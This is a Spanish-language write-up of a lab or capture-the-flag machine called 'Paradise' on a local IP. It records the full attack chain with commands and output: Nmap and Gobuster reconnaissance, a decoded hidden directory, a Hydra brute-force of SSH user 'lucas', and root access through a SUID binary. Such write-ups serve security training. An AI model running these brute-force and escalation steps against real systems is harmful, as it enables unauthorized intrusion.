Máquina Paradise

Lo primero que hice fue verificar la conectividad con la máquina víctima mediante un **ping** a su dirección IP. Esto me permitió confirmar si estaba activa en la red:

```
ping -c 1 172.17.0.2
```

La máquina respondió correctamente, lo que me indicó que estaba encendida y accesible.

Escaneo de Puertos

Luego realicé un escaneo de puertos a la dirección IP de la máquina víctima utilizando **Nmap** para identificar los servicios que estaban corriendo. Usé el siguiente comando:

```
sudo nmap -p- --open -sS -sCV -n -Pn --min-rate 5000 172.17.0.2
```

El escaneo reveló lo siguiente:

```
PORT STATE SERVICE VERSION

22/tcp open ssh OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.13 (Ubuntu Linux; protocol 2.0)

80/tcp open http Apache httpd 2.4.7 ((Ubuntu))

139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: PARADISE)

445/tcp open netbios-ssn Samba smbd 4.3.11-Ubuntu (workgroup: PARADISE)
```

Fuzzing de Directorios con Gobuster

Para analizar el contenido del servicio web que corría en el puerto 80, utilicé **Gobuster** para enumerar directorios y archivos interesantes:

```
gobuster dir -u http://172.17.0.2 -w /usr/share/wordlists/dirbuster/directory-list-
2.3-medium.txt -x php,html,py,sh,txt
```

Obtuve como resultado:

```
/index.html (Status: 200)
/login.php (Status: 200)
/galery.html (Status: 200)
/booking.html (Status: 200)
/img (Status: 301)
/server-status (Status: 403)
```

Análisis del Código Fuente

Al revisar el código fuente de /galery.html, encontré un comentario oculto:

```
<!-- ZXN0b2VzdW5zZWNyZXRvCg== -->
```

Lo decodifiqué con base64:

```
echo "ZXN0b2VzdW5zZWNyZXRvCg==" | base64 --decode
```

El resultado fue:

estoesunsecreto

Ataque de Fuerza Bruta

Siguiendo con la búsqueda, se ingreso aquel texto en la url y encontramos lo siguiente:

Index of /estoesunsecreto

Name Last modified Size Description

Parent Directory
mensaje_para_lucas.txt 2024-07-28 21:04 109

Apache/2.4.7 (Ubuntu) Server at 172.17.0.2 Port 80

Encontré una nota que decía:

```
REMEMBER TO CHANGE YOUR PASSWORD ACCOUNT, BECAUSE YOUR PASSWORD IS DEBIL AND THE HACKERS CAN FIND USING B.F.
```

Eso me hizo pensar que el usuario **lucas** tenía una contraseña débil, así que decidí lanzar un ataque de fuerza bruta al servicio SSH utilizando **Hydra**:

```
sudo hydra -l lucas -P /usr/share/wordlists/rockyou.txt ssh://172.17.0.2
```

El ataque fue exitoso. Obtuve las siguientes credenciales:

Acceso al Sistema

Con esas credenciales, accedí vía SSH:

```
ssh lucas@172.17.0.2
```

Ya estaba dentro del sistema

Escalada de Privilegios

Buscando posibles vectores de escalada, listé archivos con el bit SUID activado:

```
find / -perm -4000 2>/dev/null
```

Me llamaron la atención los siguientes archivos:

```
/usr/local/bin/privileged_exec /usr/local/bin/backup.sh
```

Verifiqué los permisos del binario privileged_exec :

```
ls -la /usr/local/bin/privileged_exec -rwsr-xr-x 1 root root 8789 Aug 30 13:13
/usr/local/bin/privileged_exec
```

Al ejecutarlo:

```
/usr/local/bin/privileged_exec
```

¡Obtuve acceso como root!